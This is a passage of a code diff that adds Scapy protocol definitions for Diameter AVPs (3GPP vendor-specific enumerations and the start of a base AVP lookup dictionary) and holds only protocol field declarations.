+    fields_desc = [AVP_FL_V, Enumerated('val', None, {0: "SIPTO_ALLOWED", 1: "SIPTO_NOTALLOWED", })]
+
+
+class AVP_10415_1614 (AVP_FL_V):
+    name = 'Error-Diagnostic'
+    avpLen = 16
+    fields_desc = [
+        AVP_FL_V,
+        Enumerated(
+            'val',
+            None,
+            {
+                0: "GPRS_DATA_SUBSCRIBED",
+                1: "NO_GPRS_DATA_SUBSCRIBED",
+                2: "ODB-ALL-APN",
+                3: "ODB-HPLMN-APN",
+                4: "ODB-VPLMN-APN",
+            })]
+
+
+class AVP_10415_1615 (AVP_FL_V):
+    name = 'UE-SRVCC-Capability'
+    avpLen = 16
+    fields_desc = [AVP_FL_V, Enumerated('val', None, {0: "UE-SRVCC-NOT-SUPPORTED", 1: "UE-SRVCC-SUPPORTED", })]
+
+
+class AVP_10415_1617 (AVP_FL_V):
+    name = 'VPLMN-LIPA-Allowed'
+    avpLen = 16
+    fields_desc = [
+        AVP_FL_V, Enumerated('val', None, {0: "LIPA-NOTALLOWED", 1: "LIPA-ALLOWED", })]
+
+
+class AVP_10415_1618 (AVP_FL_V):
+    name = 'LIPA-Permission'
+    avpLen = 16
+    fields_desc = [AVP_FL_V, Enumerated('val', None, {0: "LIPA-PROHIBITED", 1: "LIPA-ONLY", 2: "LIPA-CONDITIONAL", })]
+
+
+class AVP_10415_1623 (AVP_FL_V):
+    name = 'Job-Type'
+    avpLen = 16
+    fields_desc = [AVP_FL_V,
+    Enumerated('val',
+               None,
+               {0: "Immediate-MDT-only",
+                1: "Logged-MDT-only",
+                2: "Trace-only",
+                3: "Immediate-MDT-and-Trace",
+                4: "RLF-reports-only",
+                })]
+
+
+class AVP_10415_1627 (AVP_FL_V):
+    name = 'Report-Interval'
+    avpLen = 16
+    fields_desc = [
+        AVP_FL_V,
+        Enumerated(
+            'val',
+            None,
+            {
+                0: "UMTS_250_ms",
+                1: "UMTS_500_ms",
+                2: "UMTS_1000_ms",
+                3: "UMTS_2000_ms",
+                4: "UMTS_3000_ms",
+                5: "UMTS_4000_ms",
+                6: "UMTS_6000_ms",
+                7: "UMTS_8000_ms",
+                8: "UMTS_12000_ms",
+                9: "UMTS_16000_ms",
+                10: "UMTS_20000_ms",
+                11: "UMTS_24000_ms",
+                12: "UMTS_28000_ms",
+                13: "UMTS_32000_ms",
+                14: "UMTS_64000_ms",
+                15: "LTE_120_ms",
+                16: "LTE_240_ms",
+                17: "LTE_480_ms",
+                18: "LTE_640_ms",
+                19: "LTE_1024_ms",
+                20: "LTE_2048_ms",
+                21: "LTE_5120_ms",
+                22: "LTE_10240_ms",
+                23: "LTE_60000_ms",
+                24: "LTE_360000_ms",
+                25: "LTE_720000_ms",
+                26: "LTE_1800000_ms",
+                27: "LTE_3600000_ms",
+            })]
+
+
+class AVP_10415_1628 (AVP_FL_V):
+    name = 'Report-Amount'
+    avpLen = 16
+    fields_desc = [
+        AVP_FL_V, Enumerated('val', None, {
+                0: "1", 1: "2", 2: "4", 3: "8", 4: "16", 5: "32", 6: "64", 7: "infinity", })]
+
+
+class AVP_10415_1631 (AVP_FL_V):
+    name = 'Logging-Interval'
+    avpLen = 16
+    fields_desc = [
+        AVP_FL_V,
+        Enumerated(
+            'val',
+            None,
+            {
+                0: "1.28",
+                1: "2.56",
+                2: "5.12",
+                3: "10.24",
+                4: "20.48",
+                5: "30.72",
+                6: "40.96",
+                7: "61.44",
+            })]
+
+
+class AVP_10415_1632 (AVP_FL_V):
+    name = 'Logging-Duration'
+    avpLen = 16
+    fields_desc = [
+        AVP_FL_V, Enumerated('val', None, {
+                0: "600_sec", 1: "1200_sec", 2: "2400_sec", 3: "3600_sec", 4: "5400_sec", 5: "7200_sec", })]
+
+
+class AVP_10415_1633 (AVP_FL_V):
+    name = 'Relay-Node-Indicator'
+    avpLen = 16
+    fields_desc = [
+        AVP_FL_V, Enumerated('val', None, {0: "NOT_RELAY_NODE", 1: "RELAY_NODE", })]
+
+
+class AVP_10415_1634 (AVP_FL_V):
+    name = 'MDT-User-Consent'
+    avpLen = 16
+    fields_desc = [AVP_FL_V, Enumerated('val', None, {0: "CONSENT_NOT_GIVEN", 1: "CONSENT_GIVEN", })]
+
+
+class AVP_10415_1636 (AVP_FL_V):
+    name = 'Subscribed-VSRVCC'
+    avpLen = 16
+    fields_desc = [
+        AVP_FL_V, Enumerated('val', None, {0: "VSRVCC_SUBSCRIBED", })]
+
+
+class AVP_10415_1648 (AVP_FL_V):
+    name = 'SMS-Register-Request'
+    avpLen = 16
+    fields_desc = [
+        AVP_FL_V, Enumerated('val', None, {
+                0: "SMS_REGISTRATION_REQUIRED", 1: "SMS_REGISTRATION_NOT_PREFERRED", 2: "NO_PREFERENCE", })]
+
+
+class AVP_10415_1650 (AVP_FL_V):
+    name = 'Daylight-Saving-Time'
+    avpLen = 16
+    fields_desc = [
+        AVP_FL_V, Enumerated('val', None, {
+                0: "NO_ADJUSTMENT", 1: "PLUS_ONE_HOUR_ADJUSTMENT", 2: "PLUS_TWO_HOURS_ADJUSTMENT", })]
+
+
+class AVP_10415_2006 (AVP_FL_V):
+    name = 'Interface-Type'
+    avpLen = 16
+    fields_desc = [
+        AVP_FL_V,
+        Enumerated(
+            'val',
+            None,
+            {
+                0: "Unknown",
+                1: "MOBILE_ORIGINATING",
+                2: "MOBILE_TERMINATING",
+                3: "APPLICATION_ORIGINATING",
+                4: "APPLICATION_TERMINATION",
+            })]
+
+
+class AVP_10415_2007 (AVP_FL_V):
+    name = 'SM-Message-Type'
+    avpLen = 16
+    fields_desc = [
+        AVP_FL_V, Enumerated('val', None, {0: "SUBMISSION", })]
+
+
+class AVP_10415_2011 (AVP_FL_V):
+    name = 'Reply-Path-Requested'
+    avpLen = 16
+    fields_desc = [AVP_FL_V, Enumerated('val', None, {0: "No Reply Path Set", 1: "Reply path Set", })]
+
+
+class AVP_10415_2016 (AVP_FL_V):
+    name = 'SMS-Node'
+    avpLen = 16
+    fields_desc = [
+        AVP_FL_V, Enumerated('val', None, {
+                0: "SMS Router", 1: "IP-SM-GW", 2: "SMS Router and IP-SM-GW", 3: "SMS-SC", })]
+
+
+class AVP_10415_2025 (AVP_FL_V):
+    name = 'PoC-Event-Type'
+    avpLen = 16
+    fields_desc = [
+        AVP_FL_V,
+        Enumerated(
+            'val',
+            None,
+            {
+                0: "Normal;",
+                1: "Instant Ppersonal Aalert event;",
+                2: "PoC Group Advertisement event;",
+                3: "Early Ssession Setting-up event;",
+                4: "PoC Talk Burst",
+            })]
+
+
+class AVP_10415_2029 (AVP_FL_V):
+    name = 'SM-Service-Type'
+    avpLen = 16
+    fields_desc = [
+        AVP_FL_V,
+        Enumerated(
+            'val',
+            None,
+            {
+                0: "VAS4SMS Short Message content processing",
+                1: "VAS4SMS Short Message forwarding",
+                2: "VAS4SMS Short Message Forwarding multiple subscriptions ",
+                3: "VAS4SMS Short Message filtering ",
+                4: "VAS4SMS Short Message receipt",
+                5: "VAS4SMS Short Message Network Storage ",
+                6: "VAS4SMS Short Message to multiple destinations",
+                7: "VAS4SMS Short Message Virtual Private Network (VPN)",
+                8: "VAS4SMS Short Message Auto Reply",
+                9: "VAS4SMS Short Message Personal Signature",
+                10: "VAS4SMS Short Message Deferred Delivery ",
+            })]
+
+
+class AVP_10415_2033 (AVP_FL_V):
+    name = 'Subscriber-Role'
+    avpLen = 16
+    fields_desc = [
+        AVP_FL_V, Enumerated('val', None, {0: "Originating", 1: "Terminating", })]
+
+
+class AVP_10415_2036 (AVP_FL_V):
+    name = 'SDP-Type'
+    avpLen = 16
+    fields_desc = [
+        AVP_FL_V, Enumerated('val', None, {0: "SDP Offer", 1: "SDP Answer", })]
+
+
+class AVP_10415_2047 (AVP_FL_V):
+    name = 'Serving-Node-Type'
+    avpLen = 16
+    fields_desc = [
+        AVP_FL_V, Enumerated('val', None, {
+                0: "SGSN", 1: "PMIPSGW", 2: "GTPSGW", 3: "ePDG", 4: "hSGW", 5: "MME", 6: "TWAN", })]
+
+
+class AVP_10415_2049 (AVP_FL_V):
+    name = 'Participant-Action-Type'
+    avpLen = 16
+    fields_desc = [
+        AVP_FL_V, Enumerated('val', None, {
+                0: "CREATE_CONF", 1: "JOIN_CONF", 2: "INVITE_INTO_CONF", 3: "QUIT_CONF", })]
+
+
+class AVP_10415_2051 (AVP_FL_V):
+    name = 'Dynamic-Address-Flag'
+    avpLen = 16
+    fields_desc = [
+        AVP_FL_V, Enumerated('val', None, {0: "Static", 1: "Dynamic", })]
+
+
+class AVP_10415_2065 (AVP_FL_V):
+    name = 'SGW-Change'
+    avpLen = 16
+    fields_desc = [
+        AVP_FL_V, Enumerated('val', None, {0: "ACR_Start_NOT_due_to_SGW_Change", })]
+
+
+class AVP_10415_2066 (AVP_FL_V):
+    name = 'Charging-Characteristics-Selection-Mode'
+    avpLen = 16
+    fields_desc = [
+        AVP_FL_V,
+        Enumerated(
+            'val',
+            None,
+            {
+                0: "Serving-Node-Supplied",
+                1: "Subscription-specific",
+                2: "APN-specific",
+                3: "Home-Default",
+                4: "Roaming-Default",
+                5: "Visiting-Default",
+            })]
+
+
+class AVP_10415_2068 (AVP_FL_V):
+    name = 'Dynamic-Address-Flag-Extension'
+    avpLen = 16
+    fields_desc = [
+        AVP_FL_V, Enumerated('val', None, {0: "Static", 1: "Dynamic", })]
+
+
+class AVP_10415_2118 (AVP_FL_V):
+    name = 'Charge-Reason-Code'
+    avpLen = 16
+    fields_desc = [
+        AVP_FL_V,
+        Enumerated(
+            'val',
+            None,
+            {
+                0: "UNKNOWN",
+                1: "USAGE",
+                2: "COMMUNICATION-ATTEMPT-CHARGE",
+                3: "SETUP-CHARGE",
+                4: "ADD-ON-CHARGE",
+            })]
+
+
+class AVP_10415_2203 (AVP_FL_V):
+    name = 'Subsession-Operation'
+    avpLen = 16
+    fields_desc = [AVP_FL_V, Enumerated('val', None, {0: "TERMINATION", 1: "ESTABLISHMENT", 2: "MODIFICATION", })]
+
+
+class AVP_10415_2204 (AVP_FL_V):
+    name = 'Multiple-BBERF-Action'
+    avpLen = 16
+    fields_desc = [
+        AVP_FL_V, Enumerated('val', None, {0: "ESTABLISHMENT", 1: "TERMINATION", })]
+
+
+class AVP_10415_2206 (AVP_FL_V):
+    name = 'DRA-Deployment'
+    avpLen = 16
+    fields_desc = [
+        AVP_FL_V, Enumerated('val', None, {0: "DRA_Deployed", })]
+
+
+class AVP_10415_2208 (AVP_FL_V):
+    name = 'DRA-Binding'
+    avpLen = 16
+    fields_desc = [
+        AVP_FL_V, Enumerated('val', None, {0: "DRA_BINDING_DELETION", })]
+
+
+class AVP_10415_2303 (AVP_FL_V):
+    name = 'Online-Charging-Flag'
+    avpLen = 16
+    fields_desc = [AVP_FL_V, Enumerated('val', None, {0: "ECF address not provided", 1: "ECF address provided", })]
+
+
+class AVP_10415_2308 (AVP_FL_V):
+    name = 'IMSI-Unauthenticated-Flag'
+    avpLen = 16
+    fields_desc = [
+        AVP_FL_V, Enumerated('val', None, {0: "Authenticated", 1: "Unauthenticated", })]
+
+
+class AVP_10415_2310 (AVP_FL_V):
+    name = 'AoC-Format'
+    avpLen = 16
+    fields_desc = [AVP_FL_V, Enumerated('val', None, {0: "MONETARY", 1: "NON_MONETARY", 2: "CAI", })]
+
+
+class AVP_10415_2312 (AVP_FL_V):
+    name = 'AoC-Service-Obligatory-Type'
+    avpLen = 16
+    fields_desc = [
+        AVP_FL_V, Enumerated('val', None, {0: "NON_BINDING", 1: "BINDING", })]
+
+
+class AVP_10415_2313 (AVP_FL_V):
+    name = 'AoC-Service-Type'
+    avpLen = 16
+    fields_desc = [AVP_FL_V, Enumerated('val', None, {0: "NONE", 1: "AOC-S", 2: "AOC-D", 3: "AOC-E", })]
+
+
+class AVP_10415_2317 (AVP_FL_V):
+    name = 'CSG-Access-Mode'
+    avpLen = 16
+    fields_desc = [
+        AVP_FL_V, Enumerated('val', None, {0: "Closed mode", 1: "Hybrid Mode", })]
+
+
+class AVP_10415_2318 (AVP_FL_V):
+    name = 'CSG-Membership-Indication'
+    avpLen = 16
+    fields_desc = [
+        AVP_FL_V, Enumerated('val', None, {0: "Not CSG member", 1: "CSG Member  ", })]
+
+
+class AVP_10415_2322 (AVP_FL_V):
+    name = 'IMS-Emergency-Indicator'
+    avpLen = 16
+    fields_desc = [
+        AVP_FL_V, Enumerated('val', None, {0: "Non Emergency", 1: "Emergency", })]
+
+
+class AVP_10415_2323 (AVP_FL_V):
+    name = 'MBMS-Charged-Party'
+    avpLen = 16
+    fields_desc = [
+        AVP_FL_V, Enumerated('val', None, {0: "Content Provider", 1: "Subscriber", })]
+
+
+class AVP_10415_2500 (AVP_FL_V):
+    name = 'SLg-Location-Type'
+    avpLen = 16
+    fields_desc = [
+        AVP_FL_V,
+        Enumerated(
+            'val',
+            None,
+            {
+                0: "CURRENT_LOCATION",
+                1: "CURRENT_OR_LAST_KNOWN_LOCATION",
+                2: "INITIAL_LOCATION",
+                3: "ACTIVATE_DEFERRED_LOCATION",
+                4: "CANCEL_DEFERRED_LOCATION",
+                5: "NOTIFICATION_VERIFICATION_ONLY",
+            })]
+
+
+class AVP_10415_2507 (AVP_FL_V):
+    name = 'Vertical-Requested'
+    avpLen = 16
+    fields_desc = [
+        AVP_FL_V, Enumerated('val', None, {
+                0: "VERTICAL_COORDINATE_IS_NOT REQUESTED", 1: "VERTICAL_COORDINATE_IS_REQUESTED", })]
+
+
+class AVP_10415_2508 (AVP_FL_V):
+    name = 'Velocity-Requested'
+    avpLen = 16
+    fields_desc = [AVP_FL_V, Enumerated('val', None, {0: "VELOCITY_IS_NOT_REQUESTED", 1: "BEST VELOCITY_IS_REQUESTED", })]
+
+
+class AVP_10415_2509 (AVP_FL_V):
+    name = 'Response-Time'
+    avpLen = 16
+    fields_desc = [
+        AVP_FL_V, Enumerated('val', None, {0: "LOW_DELAY", 1: "DELAY_TOLERANT", })]
+
+
+class AVP_10415_2512 (AVP_FL_V):
+    name = 'LCS-Privacy-Check'
+    avpLen = 16
+    fields_desc = [
+        AVP_FL_V,
+        Enumerated(
+            'val',
+            None,
+            {
+                0: "ALLOWED_WITHOUT_NOTIFICATION",
+                1: "ALLOWED_WITH_NOTIFICATION",
+                2: "ALLOWED_IF_NO_RESPONSE",
+                3: "RESTRICTED_IF_NO_RESPONSE",
+                4: "NOT_ALLOWED",
+            })]
+
+
+class AVP_10415_2513 (AVP_FL_V):
+    name = 'Accuracy-Fulfilment-Indicator'
+    avpLen = 16
+    fields_desc = [
+        AVP_FL_V, Enumerated('val', None, {
+                0: "REQUESTED_ACCURACY_FULFILLED", 1: "REQUESTED_ACCURACY_NOT_FULFILLED", })]
+
+
+class AVP_10415_2518 (AVP_FL_V):
+    name = 'Location-Event'
+    avpLen = 16
+    fields_desc = [
+        AVP_FL_V,
+        Enumerated(
+            'val',
+            None,
+            {
+                0: "EMERGENCY_CALL_ORIGINATION",
+                1: "EMERGENCY_CALL_RELEASE",
+                2: "MO_LR",
+                3: "EMERGENCY_CALL_HANDOVER",
+            })]
+
+
+class AVP_10415_2519 (AVP_FL_V):
+    name = 'Pseudonym-Indicator'
+    avpLen = 16
+    fields_desc = [AVP_FL_V, Enumerated('val', None, {0: "PSEUDONYM_NOT_REQUESTED", 1: "PSEUDONYM_REQUESTED", })]
+
+
+class AVP_10415_2523 (AVP_FL_V):
+    name = 'LCS-QoS-Class'
+    avpLen = 16
+    fields_desc = [
+        AVP_FL_V, Enumerated('val', None, {0: "ASSURED", 1: "BEST EFFORT", })]
+
+
+class AVP_10415_2538 (AVP_FL_V):
+    name = 'Occurrence-Info'
+    avpLen = 16
+    fields_desc = [AVP_FL_V, Enumerated('val', None, {0: "ONE_TIME_EVENT", 1: "MULTIPLE_TIME_EVENT", })]
+
+
+class AVP_10415_2550 (AVP_FL_V):
+    name = 'Periodic-Location-Support-Indicator'
+    avpLen = 16
+    fields_desc = [
+        AVP_FL_V, Enumerated('val', None, {0: "NOT_SUPPORTED", 1: "SUPPORTED", })]
+
+
+class AVP_10415_2551 (AVP_FL_V):
+    name = 'Prioritized-List-Indicator'
+    avpLen = 16
+    fields_desc = [
+        AVP_FL_V, Enumerated('val', None, {0: "NOT_PRIORITIZED", 1: "PRIORITIZED", })]
+
+
+class AVP_10415_2602 (AVP_FL_V):
+    name = 'Low-Priority-Indicator'
+    avpLen = 16
+    fields_desc = [
+        AVP_FL_V, Enumerated('val', None, {0: "NO", })]
+
+
+class AVP_10415_2604 (AVP_FL_V):
+    name = 'Local-GW-Inserted-Indication'
+    avpLen = 16
+    fields_desc = [
+        AVP_FL_V, Enumerated('val', None, {
+                0: "Local GW Not Inserted", 1: "Local GW Inserted", })]
+
+
+class AVP_10415_2605 (AVP_FL_V):
+    name = 'Transcoder-Inserted-Indication'
+    avpLen = 16
+    fields_desc = [
+        AVP_FL_V, Enumerated('val', None, {
+                0: "Transcoder Not Inserted", 1: "Transcoder Inserted", })]
+
+
+class AVP_10415_2702 (AVP_FL_V):
+    name = 'AS-Code'
+    avpLen = 16
+    fields_desc = [
+        AVP_FL_V, Enumerated('val', None, {
+                0: "4xx;", 1: "5xx;", 2: "Timeout", })]
+
+
+class AVP_10415_2704 (AVP_FL_V):
+    name = 'NNI-Type'
+    avpLen = 16
+    fields_desc = [
+        AVP_FL_V, Enumerated('val', None, {
+                0: "non-roaming", 1: "roaming without loopback", 2: "roaming with loopback", })]
+
+
+class AVP_10415_2706 (AVP_FL_V):
+    name = 'Relationship-Mode'
+    avpLen = 16
+    fields_desc = [
+        AVP_FL_V, Enumerated('val', None, {0: "trusted", 1: "non-trusted", })]
+
+
+class AVP_10415_2707 (AVP_FL_V):
+    name = 'Session-Direction'
+    avpLen = 16
+    fields_desc = [
+        AVP_FL_V, Enumerated('val', None, {0: "inbound", })]
+
+
+class AVP_10415_2710 (AVP_FL_V):
+    name = 'Access-Transfer-Type'
+    avpLen = 16
+    fields_desc = [AVP_FL_V, Enumerated('val', None, {0: "PS to CS Transfer", 1: "CS to PS Transfer", })]
+
+
+class AVP_10415_2717 (AVP_FL_V):
+    name = 'TAD-Identifier'
+    avpLen = 16
+    fields_desc = [
+        AVP_FL_V, Enumerated('val', None, {0: "CS", 1: "PS", })]
+
+
+class AVP_10415_2809 (AVP_FL_V):
+    name = 'Mute-Notification'
+    avpLen = 16
+    fields_desc = [
+        AVP_FL_V, Enumerated('val', None, {0: "MUTE_REQUIRED", })]
+
+
+class AVP_10415_2811 (AVP_FL_V):
+    name = 'AN-GW-Status'
+    avpLen = 16
+    fields_desc = [
+        AVP_FL_V, Enumerated('val', None, {0: "AN_GW_FAILED", })]
+
+
+class AVP_10415_2904 (AVP_FL_V):
+    name = 'SL-Request-Type'
+    avpLen = 16
+    fields_desc = [AVP_FL_V, Enumerated('val', None, {0: "INITIAL_REQUEST", 1: "INTERMEDIATE_REQUEST", })]
+
+
+class AVP_10415_3407 (AVP_FL_V):
+    name = 'SM-Device-Trigger-Indicator'
+    avpLen = 16
+    fields_desc = [
+        AVP_FL_V, Enumerated('val', None, {0: "Not DeviceTrigger ", 1: "Device Trigger", })]
+
+
+class AVP_10415_3415 (AVP_FL_V):
+    name = 'Forwarding-Pending'
+    avpLen = 16
+    fields_desc = [AVP_FL_V, Enumerated('val', None, {0: "Forwarding not pending", 1: "Forwarding pending", })]
+
+
+class AVP_10415_3421 (AVP_FL_V):
+    name = 'CN-Operator-Selection-Entity'
+    avpLen = 16
+    fields_desc = [
+        AVP_FL_V,
+        Enumerated(
+            'val',
+            None,
+            {
+                0: "The Serving Network has been selected by the UE",
+                1: "The Serving Network has been selected by the network",
+            })]
+
+
+class AVP_10415_3428 (AVP_FL_V):
+    name = 'Coverage-Status'
+    avpLen = 16
+    fields_desc = [
+        AVP_FL_V, Enumerated('val', None, {0: "Out of coverage", 1: "In coverage", })]
+
+
+class AVP_10415_3438 (AVP_FL_V):
+    name = 'Role-Of-ProSe-Function'
+    avpLen = 16
+    fields_desc = [
+        AVP_FL_V, Enumerated('val', None, {0: "HPLMN", 1: "VPLMN", })]
+
+
+class AVP_10415_3442 (AVP_FL_V):
+    name = 'ProSe-Direct-Discovery-Model'
+    avpLen = 16
+    fields_desc = [
+        AVP_FL_V, Enumerated('val', None, {0: "Model A", 1: "Model B", })]
+
+
+class AVP_10415_3443 (AVP_FL_V):
+    name = 'ProSe-Event-Type'
+    avpLen = 16
+    fields_desc = [AVP_FL_V, Enumerated('val', None, {0: "Annoucing", 1: "Monitoring", 2: "Match Report", })]
+
+
+class AVP_10415_3445 (AVP_FL_V):
+    name = 'ProSe-Functionality'
+    avpLen = 16
+    fields_desc = [AVP_FL_V, Enumerated('val', None, {0: "Direct discovery", 1: "EPC-level discovery", })]
+
+
+class AVP_10415_3448 (AVP_FL_V):
+    name = 'ProSe-Range-Class'
+    avpLen = 16
+    fields_desc = [
+        AVP_FL_V, Enumerated('val', None, {
+                0: "Reserved", 1: "50 m", 2: "100 m", 3: "200 m", 4: "500 m", 5: "1000 m", })]
+
+
+class AVP_10415_3449 (AVP_FL_V):
+    name = 'ProSe-Reason-For-Cancellation'
+    avpLen = 16
+    fields_desc = [
+        AVP_FL_V, Enumerated('val', None, {
+                0: "Proximity Alert sent", 1: "Time expired with no renewal", })]
+
+
+class AVP_10415_3451 (AVP_FL_V):
+    name = 'ProSe-Role-Of-UE'
+    avpLen = 16
+    fields_desc = [AVP_FL_V, Enumerated('val', None, {0: "Announcing UE", 1: "Monitoring UE", 2: "Requestor UE", })]
+
+
+class AVP_10415_3454 (AVP_FL_V):
+    name = 'Proximity-Alert-Indication'
+    avpLen = 16
+    fields_desc = [
+        AVP_FL_V, Enumerated('val', None, {0: "Alert", 1: "No Alert", })]
+
+
+# Remaining AVPs (which do not need to be declared as classes)
+##############################################################
+
+# In AvpDefDict dictionary, the first level key is the 'AVP vendor' and the second level key is the 'AVP code'
+# Each tupple then defines the AVP name, the Scapy class and the default flags
+AvpDefDict = {
+    0: {
+        1: ('User-Name', AVPNV_StrLenField, 64),
+        2: ('User-Password', AVPNV_OctetString, 64),
+        5: ('NAS-Port', AVPNV_Unsigned32, 64),
+        6: ('Service-Type', AVP_0_6, 64),
+        7: ('Framed-Protocol', AVP_0_7, 64),
+        9: ('Framed-IP-Netmask', AVPNV_OctetString, 64),
+        10: ('Framed-Routing', AVP_0_10, 64),
+        11: ('Filter-Id', AVPNV_StrLenField, 64),
+        12: ('Framed-MTU', AVPNV_Unsigned32, 64),
+        13: ('Framed-Compression', AVP_0_13, 64),
+        15: ('Login-Service', AVP_0_15, 64),
+        16: ('Login-TCP-Port', AVPNV_Unsigned32, 64),
+        18: ('Reply-Message', AVPNV_StrLenField, 64),
+        19: ('Callback-Number', AVPNV_StrLenField, 64),
+        20: ('Callback-Id', AVPNV_StrLenField, 64),
+        22: ('Framed-Route', AVPNV_StrLenField, 64),
+        23: ('Framed-IPX-Network', AVPNV_Unsigned32, 64),
+        25: ('Class', AVPNV_OctetString, 64),
+        27: ('Session-Timeout', AVPNV_Unsigned32, 64),
+        28: ('Idle-Timeout', AVPNV_Unsigned32, 64),
+        30: ('Called-Station-Id', AVPNV_StrLenField, 64),
+        31: ('Calling-Station-Id', AVPNV_StrLenField, 64),
+        33: ('Proxy-State', AVPNV_OctetString, 64),
+        34: ('Login-LAT-Service', AVPNV_OctetString, 64),
+        35: ('Login-LAT-Node', AVPNV_OctetString, 64),
+        36: ('Login-LAT-Group', AVPNV_OctetString, 64),
+        37: ('Framed-Appletalk-Link', AVPNV_Unsigned32, 64),
+        38: ('Framed-Appletalk-Network', AVPNV_Unsigned32, 64),
+        39: ('Framed-Appletalk-Zone', AVPNV_OctetString, 64),
+        41: ('Acct-Delay-Time', AVPNV_Unsigned32, 64),
+        44: ('Acct-Session-Id', AVPNV_OctetString, 64),
+        45: ('Acct-Authentic', AVP_0_45, 64),
+        46: ('Acct-Session-Time', AVPNV_Unsigned32, 64),
+        50: ('Acct-Multi-Session-Id', AVPNV_StrLenField, 64),
+        51: ('Acct-Link-Count', AVPNV_Unsigned32, 64),
+        55: ('Event-Timestamp', AVPNV_Time, 64),
+        60: ('CHAP-Challenge', AVPNV_OctetString, 64),
+        61: ('NAS-Port-Type', AVP_0_61, 64),
+        62: ('Port-Limit', AVPNV_Unsigned32, 64),
+        63: ('Login-LAT-Port', AVPNV_OctetString, 64),
+        64: ('Tunnel-Type', AVP_0_64, 64),
+        65: ('Tunnel-Medium-Type', AVP_0_65, 64),
+        66: ('Tunnel-Client-Endpoint', AVPNV_StrLenField, 64),
+        67: ('Tunnel-Server-Endpoint', AVPNV_StrLenField, 64),
+        68: ('Acct-Tunnel-Connection', AVPNV_OctetString, 64),
+        69: ('Tunnel-Password', AVPNV_OctetString, 64),
+        70: ('ARAP-Password', AVPNV_OctetString, 64),
+        71: ('ARAP-Features', AVPNV_OctetString, 64),
+        72: ('ARAP-Zone-Access', AVP_0_72, 64),
+        73: ('ARAP-Security', AVPNV_Unsigned32, 64),
+        74: ('ARAP-Security-Data', AVPNV_OctetString, 64),
+        75: ('Password-Retry', AVPNV_Unsigned32, 64),
+        76: ('Prompt', AVP_0_76, 64),
+        77: ('Connect-Info', AVPNV_StrLenField, 64),
+        78: ('Configuration-Token', AVPNV_OctetString, 64),
+        81: ('Tunnel-Private-Group-Id', AVPNV_OctetString, 64),
+        82: ('Tunnel-Assignment-Id', AVPNV_OctetString, 64),
+        83: ('Tunnel-Preference', AVPNV_Unsigned32, 64),
+        84: ('ARAP-Challenge-Response', AVPNV_OctetString, 64),
+        85: ('Acct-Interim-Interval', AVPNV_Unsigned32, 64),
+        86: ('Acct-Tunnel-Packets-Lost', AVPNV_Unsigned32, 64),
+        87: ('NAS-Port-Id', AVPNV_StrLenField, 64),
+        88: ('Framed-Pool', AVPNV_OctetString, 64),
+        89: ('Chargeable-User-Identity', AVPNV_OctetString, 64),
+        90: ('Tunnel-Client-Auth-Id', AVPNV_StrLenField, 64),
+        91: ('Tunnel-Server-Auth-Id', AVPNV_StrLenField, 64),
+        94: ('Originating-Line-Info', AVPNV_OctetString, 64),
+        96: ('Framed-Interface-Id', AVPNV_Unsigned64, 64),
+        97: ('Framed-IPv6-Prefix', AVPNV_OctetString, 64),
+        99: ('Framed-IPv6-Route', AVPNV_StrLenField, 64),
+        100: ('Framed-IPv6-Pool', AVPNV_OctetString, 64),
+        102: ('EAP-Key-Name', AVPNV_OctetString, 64),
+        104: ('Digest-Realm', AVPNV_StrLenField, 64),
+        110: ('Digest-Qop', AVPNV_StrLenField, 64),
+        111: ('Digest-Algorithm', AVPNV_StrLenField, 64),
+        121: ('Digest-HA1', AVPNV_OctetString, 64),
+        124: ('MIP6-Feature-Vector', AVPNV_Unsigned64, 64),
+        125: ('MIP6-Home-Link-Prefix', AVPNV_OctetString, 64),
+        257: ('Host-IP-Address', AVPNV_Address, 64),
+        258: ('Auth-Application-Id', AVP_0_258, 64),
+        259: ('Acct-Application-Id', AVPNV_Unsigned32, 64),
+        260: ('Vendor-Specific-Application-Id', AVPNV_Grouped, 64),
+        261: ('Redirect-Host-Usage', AVP_0_261, 64),
+        262: ('Redirect-Max-Cache-Time', AVPNV_Unsigned32, 64),
+        263: ('Session-Id', AVPNV_StrLenField, 64),
+        264: ('Origin-Host', AVPNV_StrLenField, 64),
+        265: ('Supported-Vendor-Id', AVPNV_Unsigned32, 64),
+        266: ('Vendor-Id', AVP_0_266, 64),
+        267: ('Firmware-Revision', AVPNV_Unsigned32, 0),
+        268: ('Result-Code', AVP_0_268, 64),
+        269: ('Product-Name', AVPNV_StrLenField, 0),
+        270: ('Session-Binding', AVPNV_Unsigned32, 64),
+        271: ('Session-Server-Failover', AVP_0_271, 64),
+        272: ('Multi-Round-Time-Out', AVPNV_Unsigned32, 64),
+        273: ('Disconnect-Cause', AVP_0_273, 64),
+        274: ('Auth-Request-Type', AVP_0_274, 64),
+        276: ('Auth-Grace-Period', AVPNV_Unsigned32, 64),
+        277: ('Auth-Session-State', AVP_0_277, 64),
+        278: ('Origin-State-Id', AVPNV_Unsigned32, 64),
+        279: ('Failed-AVP', AVPNV_Grouped, 64),
+        280: ('Proxy-Host', AVPNV_StrLenField, 64),
+        281: ('Error-Message', AVPNV_StrLenField, 0),
+        282: ('Route-Record', AVPNV_StrLenField, 64),
+        283: ('Destination-Realm', AVPNV_StrLenField, 64),
+        284: ('Proxy-Info', AVPNV_Grouped, 64),
+        285: ('Re-Auth-Request-Type', AVP_0_285, 64),
+        287: ('Accounting-Sub-Session-Id', AVPNV_Unsigned64, 64),
+        291: ('Authorization-Lifetime', AVPNV_Unsigned32, 64),
+        292: ('Redirect-Host', AVPNV_StrLenField, 64),
+        293: ('Destination-Host', AVPNV_StrLenField, 64),
+        294: ('Error-Reporting-Host', AVPNV_StrLenField, 0),
+        295: ('Termination-Cause', AVP_0_295, 64),
+        296: ('Origin-Realm', AVPNV_StrLenField, 64),
+        297: ('Experimental-Result', AVPNV_Grouped, 64),
+        298: ('Experimental-Result-Code', AVP_0_298, 64),
+        299: ('Inband-Security-Id', AVPNV_Unsigned32, 64),
+        318: ('MIP-FA-to-HA-SPI', AVPNV_Unsigned32, 64),
+        319: ('MIP-FA-to-MN-SPI', AVPNV_Unsigned32, 64),
+        320: ('MIP-Reg-Request', AVPNV_OctetString, 64),
+        321: ('MIP-Reg-Reply', AVPNV_OctetString, 64),
+        322: ('MIP-MN-AAA-Auth', AVPNV_Grouped, 64),
+        323: ('MIP-HA-to-FA-SPI', AVPNV_Unsigned32, 64),
+        325: ('MIP-MN-to-FA-MSA', AVPNV_Grouped, 64),
+        326: ('MIP-FA-to-MN-MSA', AVPNV_Grouped, 64),
